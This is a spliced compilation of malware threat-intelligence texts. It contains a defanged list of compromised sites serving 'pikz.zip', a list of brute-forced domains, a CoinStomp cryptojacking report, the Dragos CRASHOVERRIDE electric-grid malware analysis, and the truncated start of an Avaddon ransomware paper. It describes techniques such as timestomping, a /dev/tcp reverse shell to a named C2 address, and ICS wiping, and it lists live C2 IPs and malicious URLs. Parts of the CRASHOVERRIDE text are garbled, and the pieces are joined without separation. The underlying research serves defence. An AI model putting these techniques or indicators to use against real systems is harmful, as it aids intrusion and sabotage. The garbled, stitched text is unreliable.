http[:]//careprevention[.]bdpm[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//artuom[.]com/templates/theme884/css/img/pikz[.]zip - https[:]//www[.]tinmountain[.]org/wp-content/themes/Avada/assets/admin/css/pikz[.]zip - http[:]//bjlaser[.]com/templates/outsourcing-fjt/html/com_contact/contact/pikz[.]zip - https[:]//www[.]coast2coast[.]net/wp-content/themes/Avada/sensei/wrappers/pikz[.]zip - http[:]//fachowe-remonty[.]com/wp-content/themes/gaad-wp-template/css/pikz[.]zip - http[:]//yourservicezone[.]net/wp-content/themes/pressive/focusareas/pikz[.]zip - http[:]//cubantripadvisor[.]com/wp-content/themes/magazine-basic/images/followme/pikz[.]zip - http[:]//www[.]dcvair[.]com/wp-content/themes/Avada-latest/sensei/wrappers/pikz[.]zip - http[:]//igorfoygel[.]com/awstats/pikz[.]zip - http[:]//madenagi[.]com/wp-content/themes/viceversa/css/fancybox/helpers/pikz[.]zip - https[:]//notlrealty[.]com/wp-content/themes/notl/includes/pikz[.]zip - http[:]//kanther[.]net/templates/seriousblue/images/pikz[.]zip - https[:]//svettenkirch[.]de/templates/a4joomla-triplex2/language/en-GB/pikz[.]zip - http[:]//garrigue-gourmande[.]fr/templates/gg_green09b4/html/com_content/archive/pikz[.]zip - http[:]//orientalspawellness[.]com/wp-content/themes/sydney/inc/controls/pikz[.]zip - http[:]//sahrodion[.]com/wp-content/themes/photograph/woocommerce/pikz[.]zip - https[:]//www[.]jaremskiphotography[.]com/wp-content/themes/kinetika/kinetika/framework/admin/css/pikz[.]zip - https[:]//www[.]hunklinger-allortech[.]com/templates/hunklinger/language/en-GB/pikz[.]zip - http[:]//batdongsanvngod[.]com/wp-admin/css/colors/blue/pikz[.]zip - https[:]//imtsa[.]fr/wp-content/gallery/arques-mars-2018/dynamic/pikz[.]zip - http[:]//touring-athens[.]com/images/banners/pikz[.]zip - https[:]//www[.]assetuganda[.]org/wp-content/themes/arisen/inc/comments/pikz[.]zip - https[:]//fgatti[.]it/wp-content/themes/CherryFramework/languages/pikz[.]zip - http[:]//apocalypticfail[.]com/wp-content/themes/lighthouse/img/pikz[.]zip - http[:]//fijidirectoryonline[.]com/wp-includes/ID3/pikz[.]zip - http[:]//auroradx[.]com/adxwp/wp-content/backups-dup-pro/tmp/pikz[.]zip - http[:]//www[.]breretonhanley[.]com/wp-content/themes/canvas/styles/pikz[.]zip - http[:]//pearl-apartment[.]com/wp-content/themes/dt-the7/languages/pikz[.]zip - http[:]//soul-bg[.]com/wp-content/themes/Divi/css/tinymce-skin/fonts/pikz[.]zip - http[:]//omegabiuro[.]com[.]pl/wp-content/themes/fruitful/css/pikz[.]zip - https[:]//racketlonmc[.]fr/wp-admin/css/colors/blue/pikz[.]zip - https[:]//uviaus[.]com/wp-content/themes/salient/img/icons/leaflet/pikz[.]zip - http[:]//netprava[.]ru/Templates/pikz[.]zip - https[:]//www[.]medientechnik-schmidt[.]de/wp-content/themes/MTS-Divi-Child/pikz[.]zip - https[:]//netquarry[.]com/wp-content/themes/u-design/licensing/pikz[.]zip - https[:]//tbkgf[.]org/wp-content/banners/pikz[.]zip - http[:]//accont[.]ru/templates/bizblue/language/en-GB/pikz[.]zip - http[:]//american-dsign[.]com/wp-content/themes/Divi/et-pagebuilder/pikz[.]zip - http[:]//chienbinhlama[.]com/wp-content/themes/twentyseventeen/inc/pikz[.]zip - http[:]//www[.]greldez-vous[.]fr/wp-content/themes/wp-coda/script/pikz[.]zip - http[:]//joseph[.]gergis[.]net/wordpress/wp-admin/css/colors/blue/pikz[.]zip - https[:]//optimistron[.]com/wp-content/themes/themify-ultra/skins/accountant/images/pikz[.]zip ### TrojanVictims (Brute-forced websites): - abrahamlopz[.]website - accesorios[.]online - actiontransportmanchester[.]com - agsolucionesinmobiliarias[.]com - altunizadecilingir[.]info - americancarcruisingpodcast[.]com - anamosashopsabovethewapsi[.]com - antsolutions[.]online
# CoinStomp Malware Family Targets Asian Cloud Service Providers **February 2, 2022** ## Introduction Researchers at Cado Security recently discovered a new malware campaign targeting Asian Cloud Service Providers (CSPs). This malware, named CoinStomp, is comprised of a family of shell scripts that attempt to exploit cloud compute instances hosted by these CSPs for the purpose of mining cryptocurrency. While this form of cryptojacking attack is commonplace, CoinStomp employs some interesting techniques and references a prior campaign. The following summarizes our findings and noteworthy capabilities: - Timestomping (manipulation of timestamps) employed as an anti-forensics measure - Removal of system cryptographic policies - Command and Control communication initiated via a /dev/tcp reverse shell - Reference to a prior cryptojacking campaign named Xanthe ## Timestamp Manipulation (Timestomping) Timestomping is the process of manipulating timestamps for files dropped or utilized during a malware attack. This technique is employed as an anti-forensics measure to confuse investigators and foil remediation efforts. Timestomping has been used by the Rocke group in prior cryptojacking attacks, but it’s not commonly seen in the wild. On Linux systems, timestomping is easily achieved via the touch command’s -t flag. Running `touch -t` and passing in a timestamp updates the specified file’s modified and access times with that timestamp. As can be seen from the example, this sample searches for the string “Change the mode of each FILE to MODE,” copies the file containing that string to `/usr/bin/modusr`, and updates the modified and access timestamps for the modusr file to 22:23 20/05/2019. The grep search matches on the binary for the chmod utility, installed at `/usr/bin/chmod`. Chmod is responsible for changing permissions of files and is typically used by malware to ensure dropped files are executable. In subsequent lines of this script, we observed the modusr binary being used in place of chmod. It seems likely that timestomping was employed to obfuscate usage of the chmod and chattr utilities, as forensic tools would display the copied versions of these binaries as being last accessed at the timestamp used in the touch command. To determine how Cado handles this, we ran the timestomping commands in a test machine and acquired an image of it from within the Cado Response platform. The image shows the modusr and chusr files within Cado and highlights the disparity between the timestamps. Cado’s timeline view also displays the files with the correct created and modified timestamps. ## Removal of System Cryptographic Policies Linux distributions (such as RHEL) allow system-wide configuration of cryptographic policies via configuration files. On an instance of RHEL, these configuration files are stored in `/usr/share/crypto-policies/` and are enforced by the crypto process which interfaces with the Linux Kernel Crypto API. The policies themselves allow or deny usage of certain versions of cryptographic protocols depending on the user’s risk posture. For example, American Federal institutions are required to deploy computing systems that conform to FIPS 140-2. There is a FIPS-specific policy bundled with RHEL that pins versions of common cryptographic protocols (such as TLS, DH, RSA, etc.) and prohibits application usage of deprecated and insecure protocols. Clearly, enforcement of cryptographic policies has a tangible effect on the deployment of malware. Additional payloads may be prevented from being downloaded, and malicious applications could be prevented from running if they make use of insecure protocols. For the sample in question, the developer is aware of this and attempts to remove the configuration files that define system-wide cryptographic policies and even kill the crypto process itself. This could undo attempts to harden the target machine by administrators, ensuring that the malware achieves its objectives. ## Command and Control (C2) Communication via /dev/tcp Reverse Shell Most Linux distributions support read/write operations to a remote host via the /dev/tcp device file. This is perfect for malware developers as it’s an easy and natively-supported method of creating a reverse shell or C2 communication channel. The sample makes use of a function named `__curl()` which is used to retrieve additional payloads and communicate information about the state of the target system back to the C2 server. Line 4 establishes a reverse shell connection via the /dev/tcp device file to a remote server at 106[.]53.115.114 over port 443 – the port number typically associated with HTTPS traffic. Searching for this IP in Shodan shows that the server is running the Python-based SimpleHTTPServer. This means that despite the use of port 443, the traffic itself is unencrypted, as it’s being transferred using HTTP. Regardless, the traffic is likely to pass unimpeded by firewall restrictions as outbound traffic (especially to a common port, such as 443) is generally unrestricted and considered normal. Throughout the script, we observed examples of this function being invoked after file existence and username checks to determine whether it was necessary to retrieve additional payloads. ## Reference to Xanthe Cryptojacking Campaign Creation of scheduled tasks via the Cron scheduler is a common malware persistence technique on Linux systems. However, rather than using Cron for persistence in this sample, two lines are added to kill the tail and masscan utilities – the former of which is used to view a live buffer of the end of a file (usually a log file) and the latter, a tool for scanning large portions of the internet. What’s more interesting is the inclusion of an additional line consisting of a URL pointing at an anonymous DNS provider. The inclusion of the hash character indicates this line is commented and no command precedes the URL – meaning that the line alone wouldn’t do anything when executed by Cron. The name Xanthe was attributed to a previous cryptojacking campaign that we analyzed, and one of the installation scripts used in that campaign was named fczyo. Unfortunately, the payload hosted at this URL wasn’t available at the time of analysis, so we can’t determine whether it was a component of the Xanthe campaign. Given a lack of overlap in capabilities and infrastructure, along with the commenting of this line in the crontab, it seems that this campaign is distinct from Xanthe. Inclusion of this URL may well have been an attempt to foil attribution. ## Analysis of Additional Payloads A number of additional binary payloads were retrieved based on logic within the analyzed script. Each of these payloads were persisted as system-wide systemd services, resulting in them being executed with root privileges and kept alive. - **Sshno**: A heavily-obfuscated 32-bit ELF binary which was retrieved from the C2 server if the logged-in username differed from “tech.” This binary was installed in `/usr/bin/sshno` and repeatedly attempted to create a socket connection to 195.2.93[.]34 upon execution. At the time of analysis, this connection was refused. - **Stater and adupd**: Two additional payloads with similar functionality to sshno. The only difference being that adupd attempted to create a socket connection to a different IP address: 109.234.36[.]173. This looks like an attempt to establish additional backdoor or C2 communication channels in the event that the machine was not yet fully compromised. - **Dhcpclient**: A customized version of the XMRig Monero mining software, responsible for carrying out the mining capabilities of this malware. This binary attempts to open a file named “config.jason” in the working directory and another file named “xmrig.jason” in root’s home directory. It’s assumed that these are XMRig configuration files, but it’s not clear whether the spelling mistakes are intentional. ## Conclusion CoinStomp demonstrates the sophistication and knowledge of attackers in the cloud security space. Employing anti-forensics techniques and weakening the target machine by removing cryptographic policies shows an understanding of Linux security measures and the incident response process. The use of the /dev/tcp device file to create a reverse shell session is also advanced. C2 communication can often be noisy and easy to spot for monitoring tools, but the use of port 443 helps make this traffic appear legitimate. Many cloud computing instances will be vulnerable to this type of C2 communication. Finally, since attribution is often a key goal of malware analysts and threat intelligence personnel, the presence of strings associated with another campaign is a sophisticated way to foil such attempts. ## Indicators of Compromise (IoCs) | Filename | SHA256 | |------------------|-------------------------------------------------------------------------------------------| | | 2a6f6324d026baeec3894877c44d4c74a231d9104c908e4162ff1cc3cf6fe14e | | | 5f487ff8f9137ca4020610353089dfa1834082d6efeb0a53942b438f90fb044d | | | 6e3e6d2c36d3110fe41f2204d19b28edbc135528469f184ac40b34b1dd060a24 | | | 533dfd3f30ae55284ab1c3a43143665701e6b12cf1e84e7fbb0015288d1ae245 | | | eb1932fbad01525f47617913f7624d61fcdb5a6fed700d64f888f67bd740636f | | d.py | cb9f0dca725fa0eae8a39c7d07e62441d6ae50b776df8a9ab1cb7f86a22c75ca | | zz.sh | 17dd410fd7d42d34bd01b96c135f7890f1b3b15354a5d67f63acb70044752397 | | adupd | 7a065c7f0d17436809ce3a9bb6bebb74d4207f8555b8291c7ee3e3deac492a2b | | dhcpclient | c1a3f32689461fb9570d4e212bba18391f6bb413bc77cb16def92d0226320e7d | | libprocess.so | dbe44ec7e9d6600cc0daf4e8aac1835348d6d4929c732bb7e30c32b3563362e6 | | sshno | 57c2fef3dd66a3756e85df53ad825d7bf6ff1ee38504323b756b4fc5d47023c3 | | stater | 3420588e7231167052775e68bab84384f449e08f1dd9ec9ba29f8437b5f86334 | ## IP Addresses - 205[.]185.113.151 - 106[.]53.115.114 For tips and best practices for performing investigations of mining malware attacks, check out The Ultimate Guide to Forensics of Mining Malware in Linux Container and Cloud Environments. ## About The Author Matt Muir is a security researcher with a passion for UNIX and UNIX-like operating systems. He previously worked as a macOS malware analyst and has experience in digital forensics, DevOps, and operational cyber security. Matt enjoys technical writing and has published research including pieces on TOR browser forensics, an emerging cloud-focused botnet, and the exploitation of the Log4Shell vulnerability. ## About Cado Security Cado Security provides the cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom.
# CRASHO VERRIDE ## Analysis of the Threat to Electric Grid Operations ### Executive Summary Dragos, Inc. was notified by the Slovak anti-virus firm ESET of an ICS tailored malware on June 8th, 2017. The Dragos team was able to use this notification to find samples of the malware, identify new functionality and impact scenarios, and confirm that this was the malware employed in the December 17th, 2016 cyber-attack on the Kiev, Ukraine transmission substation which resulted in electric grid operations impact. This report serves as an industry report to inform the electric sector and security community of the potential implications of this malware and the appropriate details to have a nuanced discussion. ### Why Are We Publishing This Security firms must always balance a need to inform the public against empowering adversaries with feedback on how they are being detected and analyzed. This case is not an aspect of technical vulnerability and exploitation. It cannot just be patched or architected away although the electric grid is entirely defensible. Human defenders leveraging an active defense such as hunting and responding internally to the industrial control system (ICS) networks can ensure that security is maintained. ### Key Takeaways - The malware self-identifies as “crash” in multiple locations thus leading to the naming convention “CRASHOVERRIDE” for the malware framework. - CRASHOVERRIDE is the first ever malware framework designed and deployed to attack electric grids. - CRASHOVERRIDE is the fourth ever piece of ICS-tailored malware (STUXNET, BLACKENERGY 2, and HAVEX were the first three) used against targets and the second ever to be designed and deployed for disrupting physical industrial processes (STUXNET was the first). - CRASHOVERRIDE is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact; in that way, it can be immediately repurposed in Europe and portions of the Middle East and Asia. - CRASHOVERRIDE is extensible and with a small amount of tailoring such as the can grid. - CRASHOVERRIDE could be leveraged at multiple sites simultaneously, but the scenario is not cataclysmic and would result in hours, potentially a few days, of outages, not weeks or more. - Dragos assesses with high confidence that the same malware was used in the cyber-attack to de-energize a transmission substation on December 17, 2016, resulting in outages for an unspecified number of customers. - The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to electric outages. - CRASHOVERRIDE could be extended to other industries with additional protocol modules, but the adversaries have not demonstrated the knowledge of other physical industrial processes to be able to make that assessment anything other than a hypothetical at this point and protocol changes alone would be insufficient. - Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness. ### Background On June 8th, 2017 the Slovak anti-virus firm ESET shared a subset of digital hashes of the malware described below and a portion of their analysis with Dragos. The Dragos team was asked to validate ESET’s findings to news publications ESET had contacted about the story which would be published June 12th, 2017. Dragos would like to thank ESET for sharing the digital hashes which allowed the Dragos team to spawn its investigation. Without control of the timeline, it was Dragos’ desire to publish a report alongside ESET’s report to capture the nuance of electric grid operations. The report also contains new discoveries, indicators, and implications of the tradecraft. Also, because of the connection to the activity group Dragos tracks as ELECTRUM, it was our decision that an independent report was warranted. The Dragos team has been busy over the last 96 hours reproducing and verifying ESET’s analysis, hunting for new samples of the malware and potential additional infections, notifying appropriate companies, and informing our customers. Importantly, Dragos also updated ICS vendors that needed to be made aware of this capability, relevant government agencies, many national computer emergency response teams (CERTs), and key players in the electric energy community. Our many thanks to those involved. If you are a Dragos, Inc. customer, you will have already received the more concise and technically in-depth intelligence report. It will be accompanied by follow-on reports, and the Dragos team will keep you up-to-date as things evolve. It is in Dragos’ view that the following report contains significant assessments that deserve a wide audience in the electric sector. Avoiding hype and fear should always be paramount but this case-study is of immediate significance, and this is not a singular contained event. The CRASHOVERRIDE capability is purpose-built to impact electric grid operations and has been created as a framework to facilitate the impact of electric grids in other countries in the future outside the attack that took place with it December 17th, 2016 in Ukraine. However, as always, the defense is doable. ### Introduction to Electric Grid Operations As with most ICS specific incidents, the most interesting components of the attack are in how the adversary has demonstrated they understand the physical industrial process. Whereas vulnerabilities, exploits, and infection vectors can drive discussions in intrusion analysis of IT security threats that is not the most important aspect of an ICS attack. To fully understand the CRASHOVERRIDE framework, its individual capabilities, and overall impact on ICS security it is important to understand certain fundamentals of electric grid operations. Simplistically, the electric grid can be categorized into three functions: generation of electricity at power plants, transmission from the power plants across typically long distances at high voltage, and then stepped down to lower voltage to distribution networks to power customers. Along these long transmission and distribution systems are substations to transform voltage levels, serve as switching stations and feeders, and fault protection systems and communications. As an example, while a power plant feeds energy into the electric grid there is no one-size-fits-all approach to power plants. There generation, wind farm, solar farm, gas turbine power, hydroelectric and more. This means that the electric grid must be a robust, almost living creature, which moves and balances electricity across large regions. Electric grids use a special type of industrial control system called a supervisory control and data acquisition (SCADA) system to manage this process across large geographical areas. Transmission and distribution owners have their substations in their particular geographical footprint and control centers manage the cross-territory SCADA systems 24/7 by human operators. These control centers often regularly manage the continual demand and response of their customers, respond to faults, and plan and work with neighboring utilities. This simplistic view of grid operations is similar around the world. There are engineering, and the overall process is largely the same between nations. As an example, these systems use SCADA and leverage systems such as remote terminal units (RTUs) to control circuit breakers. As the breakers open and close, substations are energized or de-energized to balance power across the grid. Some network protocols such as IEC 104, a TCP-based protocol, and its serial protocol companion IEC 101, are often regional specific. Europe, some of Asian, and portions of the Middle East leverage these protocols to control RTUs from the SCADA human machine interfaces (HMIs). In North America, the protocol of choice for this is the Distributed Network Protocol 3 (DNP3). The various protocols purposes are largely the same though: control physical equipment through RTUs, programmable logic controllers (PLCs), and other final control elements via HMIs as a part of the larger SCADA system. Some protocols have been adopted cross-country including IEC 61850 which is usually leveraged from an HMI to work with equipment such as digital relays and other types of intelligent electronic devices (IEDs). IEDs are purpose-built microprocessor-based control devices and can often be found alongside power equipment such as circuit breakers. IEDs and RTUs operate in a master/slave capacity where the slave devices are polled and sent commands by master devices. Substations manage the flow of power through transmission or distribution lines. Management of energizing and de-energizing of these lines ultimately controls when and where the flow of power moves in and out of the substation. If you “open” a breaker you are removing the path where the electricity is flowing, or de-energizing it. If you “close” a breaker then you are energizing the line by closing the gap and allowing the power to flow. This concept is similar to anyone who may be confused on this terminology as it is opposite to how one would describe. The grid is a well-designed system, and while damage can be done, it is vital to understand that in nations around the world the electric community has designed the system to be reliable and safe which has a natural byproduct of increased security. In the United States as an example, reliability is reinforced with regular training and events such as the North American grid’s GridEx where grid operators train for events from hurricanes, to terrorist incidents, to cyber-attacks and how they will respond to such outages. There is constantly a balance that must be understood when referring to grid operations: yes, the systems are vulnerable and more must be done to understand complex and multi-stage attacks, but the grid is also in a great defensible position because of the work of so many over the years. ### Evolution of Tradecraft CRASHOVERRIDE represents an evolution in tradecraft and capabilities by adversaries who wish to do harm to industrial environments. To fully appreciate the malware it is valuable to compare it to its predecessors and the Ukraine 2015 cyber attack. #### STUXNET The STUXNET malware has been written about extensively and referenced, at times, unfortunately, in comparison to most ICS related incidents and malware. It was the first confirmed example of ICS tailored malware leveraged against a target. The Windows portion of the code with its four zero-day exploits gained a lot of notoriety. However, it was the malware’s payload that was specific to ICS that was the most interesting component. The tradecraft exhibited by STUXNET was the detailed understanding of the industrial process. In IT networks, it is important for adversaries to identify vulnerabilities and exploit them to load malware and gain privileges on systems. In ICS networks though, some of the most concerning issues are related to an adversary’s ability to learn the physical process such as the engineering of the systems and their components in how they work together. STUXNET’s greatest strength was leveraging functionality in Siemens equipment to interact with nuclear enrichment centrifuges through abuses of intended functionality. The purpose of the Siemens equipment was to be able to control and change the speed of the centrifuges. Stuxnet did this as well but with pre-programmed knowledge from the attackers on the speeds that would cause the centrifuge to burst from their casings. ICS tailored malware leveraging knowledge of industrial processes was now a thing. However, it was specific to Siemens equipment and unique to the Natanz facility in Iran. While tradecraft and exploits can be replicated, it was not reasonable to re-purpose the Stuxnet capability. #### Dragonfly/HAVEX Dragonfly campaign leveraged the HAVEX malware. There are often not many commonalities between implementation, integration, and the physical processes required at each site. One of the few commonalities across numerous ICS industries though is the OPC protocol. It is designed to be the universal translator for many industrial components and is readily accessible in an HMI or dedicated OPC server. The HAVEX malware leveraged legitimate functionality in the OPC protocol to map out the industrial equipment and devices on an ICS network. It was a clever use of the protocol and while the malware itself was not complex the tradecraft associated with the usage of OPC was sophisticated. However, the Dragonfly campaign was focused entirely on espionage. There was no physical disruption or destruction of the industrial process. Instead, it was the type of data you would want to leverage to design attacks in the future built for the specific targets impacted with the malware. #### BLACKENERGY 2 The Sandworm team has targeted numerous industries ranging from western militaries, governments, research organizations, defense contractors, and industrial sites. It was their use of the BLACKENERGY 2 malware that caught the ICS industry’s attention. This ICS tailored malware contained exploits for specific types of HMI applications including Siemens SIMATIC, GE CIMPLICITY, and Advantech WebAccess. BLACKENERGY 2 was a smart approach by the adversaries to target internet connected HMIs. Upon exploitation of the HMIs, the adversaries had access to a central location in the ICS to start to learn the industrial process and gain the graphical representation of that ICS through the HMI. The targeting of HMIs alone is often not enough to cause physical damage, but it is an ideal target for espionage and positioning in an ICS. Gaining a foothold in the network that had access to numerous components of the ICS while maintaining command and control to internet locations, positioned it well for espionage. #### Ukraine Cyber Attack 2015 The cyber-attack on three power companies in Ukraine on December 23rd, 2015 marked a revolutionary event for electric grid operators. It was the first known instance where a cyber-attack had disrupted electric grid operations. The Sandworm team was attributed to the attack and their use of the BLACKENERGY 3 malware. BLACKENERGY 3 does not contain ICS components in the way that BLACKENERGY 2 did. Instead, the adversaries leveraged the BLACKENERGY 3 malware to gain access to the corporate networks of the power companies and then pivot into the SCADA networks. While in the environment the adversaries performed their reconnaissance and eventually leveraged the grid systems against itself. They learned the operations and used the legitimate functionality of distribution management systems to disconnect substations from the grid leaving 225,000+ customers without power for upwards of 6 hours until manual operations could restore power. However, due to the wiping of Windows systems through the KillDisk malware and destruction of serial-to-Ethernet devices through malicious firmware updates, the Ukrainian grid operators were without their SCADA environment, meaning they lost the ability for automated control, for upwards of a year in some locations. The most notable aspect of the attack was the adversary’s focus on learning how to leverage the systems against themselves. Malware enabled the attack, and malware aging the ICS against itself that resulted in the electric power disruptions, not malware. ### CRASHO VERRIDE The CRASHO VERRIDE malware impacted a single transmission level substation in Ukraine on December 17th, 2016. Many elements of the attack appear to have been more of a proof of concept than what was fully capable in the malware. The most important thing to understand though from the evolution of tradecraft is the codification and scalability in the malware towards what has been learned through past attacks. The malware took an approach to understand and codify the knowledge of the industrial process to disrupt operations as STUXNET did. It leveraged the OPC protocol to help it map the environment and select its targets similar to HAVEX. It targeted the libraries and configuration files of HMIs to understand the environment further and leveraged HMIs to connect to internet-connected locations when possible as BLACKENERGY 2 had done. And it too took the same type of approach to understanding grid operations and leveraging the systems against themselves displayed in Ukraine 2015’s attack. It did all of these things with added sophistication in each category giving the adversaries a platform to conduct attacks against grid operations systems in various environments and not confined to work only on specific vendor platforms. It marks an advancement in capability by adversaries who intend to disrupt operations and poses a challenge for defenders who look to patching systems as a primary defense, using anti-malware tools to spot specific samples, and relying upon a strong perimeter or air-gapped network as a silver-bullet solution. Adversaries are getting smarter, they are growing in their ability to learn industrial processes and codify and scale that knowledge, and defenders must also adapt. ### Capabilities #### Capabilities Overview The CRASHO VERRIDE malware is a modular framework consisting of an initial backdoor, a loader module, and several supporting and payload modules. The most important items are the backdoor, which provides access to the infected payload modules. Dragos focused our analysis on the previously mentioned items as they are most relevant for defending grid operations on the targeted industrial control system. One sample was the IEC 104 protocol module, and the other sample was the data wiper. Both samples shared common design characteristics indicative of being part of a broader ICS attack and manipulation framework. ESET was able to uncover an additional IEC 61850 and OPC module which they have analyzed and shared with Dragos. Below contains an overview of program execution flow and dependency. #### Module Commonalities Dragos analysts were able to determine the compile time for both modules obtained as being within 12 minutes of each other just after 2:30 am on December 18th in an unknown time zone although timestamps for both samples were zeroed out. These times fall in the same timeframe as the Ukraine events. Both module samples exported a function named Crash that served as the main function to begin execution. The common Crash function enables the ability to “plug and play” additional modules. ### Backdoor/RAT Module **Key Features** - Authenticates with a local proxy via the internal network established before the backdoor installation. - After authentication opens HTTP channel to external command and control server (C2) through internal proxy. - Receives commands via the external command and control (C2) server. - Creates a file on the local system (contents not determined). - Overwrites an existing service to point to the backdoor so the malware persists between reboots. **Details** Access to the ICS network flows through a backdoor module. Dragos obtained four samples which all featured similar functionality. On execution, the malware attempts to contact a hard-coded proxy address located within the local network. ELECTRUM must establish the internal proxy before the installation of the backdoor. The malware expects to communicate to an internal proxy listening on TCP 3128. This port is a default port associated with the Squid proxy. The beaconing continues without pause until it establishes a connection. The backdoor then sends a series of HTTP POST requests with the victim’s Windows GUID (a unique identifier set with every Windows installation) in the HTTP body. This information authenticates the targeted machine to the command and control (C2) server. If the C2 server does not respond, the backdoor will exit. If the authentication is successful to the internal proxy, the malware attempts to perform an HTTP CONNECT to an external C2 server via the internal proxy. Across four December 2016 attacks on Ukraine: - 195.16.88.6 - 93.115.27.57 - 5.39.218.152 A check of the TOR project’s ExoneraTOR service indicates that all of the listed IP addresses were listed as active TOR nodes during the events in Ukraine. When performing the HTTP CONNECT, the malware attempts to identify the system default user agent. If this cannot be determined or does not exist, then a hard-coded default for the malware is used: - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) The malware can be configured to beacon out periodically afterwards via a hard-coded configuration value. The implant is designed to retrieve commands from the C2 server: - Create a new process as logged in user - Create a new process as specified user via CreateProcess WithLogon - Write a file - Copy a file - Execute a command as logged in user - Execute a command as specified user - Kill the backdoor - Stop a service - Specify a user (log in as user) and stop a service - Specify a user (log in as user) and start a service - Alter an existing service to point to specified process and change to start at boot Execution results in several artifacts left on the host. During execution, the malware checks for the presence of a mutex value. Mutexes are program objects that name resources to enable sharing with multiple program threads. In this case, CRASHOVERRIDE checks the following: - \Sessions\1\Windows\ApiProtection The backdoor may also create and check a blank mutex name. Reviewing memory during execution and analysis of other modules in the malware indicates that \Sessions\1\Windows\ appears multiple times, indicating that a check may be performed. The backdoor writes a file to either C:\Users\Public\ or C:\Users\<Executing User>. The contents of this file were not discovered during our analysis, and it did not appear to be vital to the malware functionality. However, this is a good indicator of the observed activity and may be leveraged to detect this specific sample through host-based indicators checking. The service manipulation process is the only persistence mechanism for the malware. When used, the adversary can select an arbitrary system service, direct it to refer to CRASHOVERRIDE, and ensure it is loaded on system boot. If this fails, the malware, although present on disk, will not start when the machine reboots. When evaluating the options provided to the adversary, an important piece of functionality associated with most remote access tools is absent: a command to exfiltrate data. While this functionality could be created via the command execution options, one would expect this option to be explicit given options to download and copy files on the host if the adversary intended to use the tool as an all-encompassing backdoor and espionage framework. Instead, the functionality of this tool is explicitly designed for facilitating access to the machine and executing commands on the system and cannot reasonably be confused as an espionage platform, data stealer, or another such item. ### Launcher Module **Key Features** - Loads payload modules which manipulate the ICS and cause destruction via the wiper. - Starts itself as a service likely to hide better. - Loads the payload module(s) defined on the command line during execution. - Launches the payload and begins either 1 or 2 hours countdown before launching the data wiper (variant dependent). **Details** Within the attack sequence, the ICS payload modules and data wiper module must be loaded by a separate loader EXE. Dragos obtained one sample of this file called the Launcher. The launcher takes three parameters on start. On launch, the sample analyzed starts a service named defragsvc. It then loads the module DLL via an exported function named Crash. A new thread is created at the highest priority on the executing machine. Control then passes from the launcher to the loaded module while the launcher waits two hours before executing the data wiper. ### Data Wiper Module **Key Features** - Clears all registry keys associated with system services. - Overwrites all ICS configuration files across the hard drives and all mapped network drives specifically targeting ABB PCM600 configuration files in this sample. - Overwrites generic Windows files. - Renders the system unusable. **Details** Once executed, the data wiper module clears registry keys, erases files, and kills processes running on the system. A unique characteristic of the wiper is that the main functionality was implemented within the Crash function. The first task of the wiper writes zeros into all of the registry keys in: - SYSTEM\CurrentControlSet\Services This registry tree contains initialization values for each service on the system. Removal of these values renders a system inoperable. The next wiper task targets ICS configuration files across the local hard drive and mapped network drives. The malware authors included functionality to target drives lettered C-Z. The wiper also targets file types unique to ABB’s PCM600 product used in substation automation in addition to more general Windows files. The below table outlines some of the unique file extensions used by industrial control systems. | File Extension | Usage | |----------------|-------| | .pcmp | PCM600 Project (ABB) | | .pcmi | PCM600 IEC File (ABB) | | .pcmt | PCM600 Template IED File | | .CIN | ABB MicroScada | | .PL | Programmable Logic File | | .paf | PLC Archive File | | .SCL | | | .cid | | | .scd | | ### IEC 104 Module **Key Features** - Reads a configuration file defining the target (likely an RTU) and action to take. - ‘Kills’ legitimate the master process on the victim host. - Masquerades as the new master. - Enters one of four modes: - Sequence mode: continuously sets RTU IOAs to open. - Range mode: (1) Interrogates each RTU for valid IOAs; (2) toggles each IOA between open and closed state. - Shift mode: unknown at this time. - Persist mode: unknown at this time / not fully implemented. **Details** The CRASHO VERRIDE IEC 104 module is a complete implementation of IEC 104 to serve in a “MASTER” role. This raw functionality creates a Swiss army knife for substation automation manipulation yet also provides tailored functionality. The functions exposed to the malware operator are confined by the options of the configuration file. This report outlines the options analyzed to date but notes that extending and enhancing functionality is straightforward with the robust protocol implementation.
# Avaddon Ransomware: An In-Depth Analysis and Decryption of Infected Systems **Javier Yuste**, *Universidad Rey Juan Carlos, Madrid* **Sergio Pastrana**, *Universidad Carlos III, Madrid* ## Abstract Malware is an emerging and popular threat flourishing in the underground economy. The commoditization of Malware-as-a-Service (MaaS) allows criminals to obtain financial benefits at low risk and with little technical background. One such popular product is ransomware, which is a popular malware traded in the underground economy. In ransomware attacks, data from infected systems is held hostage (encrypted) until a fee is paid to the criminals. This modus operandi disrupts legitimate businesses, which may become unavailable until the data is restored, thus causing additional financial and reputational losses. A recent blackmailing strategy adopted by criminals is to leak data online from the infected systems if the ransom is not paid before a given time, threatening businesses to have their data exposed online. Besides reputational damage, data leakage might produce further economic losses due to fines imposed by data protection laws, e.g., GDPR in Europe. Thus, research on prevention and recovery measures to mitigate the impact of such attacks is needed to adapt existing countermeasures to new strains. In this work, we perform an in-depth analysis of Avaddon, a ransomware offered in the underground economy as an affiliate program business. This threat has been linked to various cyberattacks and has infected and leaked data from at least 23 organizations. Additionally, it also runs Distributed Denial-of-Service (DDoS) attacks against victims that do not pay the ransom. We first provide an analysis of the criminal business model from the underground economy. Then, we identify and describe its technical capabilities and dissect details of their inner structure. We provide empirical evidence of links between this variant and a previous family, suggesting that the same group was behind the development and, possibly, the operation of both campaigns. As a result, we provide tools to assist analysis, allowing to decrypt and label encrypted strings observed in the ransomware binary. Finally, we describe a method to decrypt files encrypted with Avaddon in real time. We implement and test the decryptor in a tool that can recover the encrypted data from an infected system, thus mitigating the damage caused by the ransomware. The tool is released open-source so it can be incorporated in existing Antivirus engines. **Keywords**: Avaddon, Ransomware, Malware Analysis, Reverse Engineering, Cybersecurity ## 1. Introduction In February 2018, the USA government 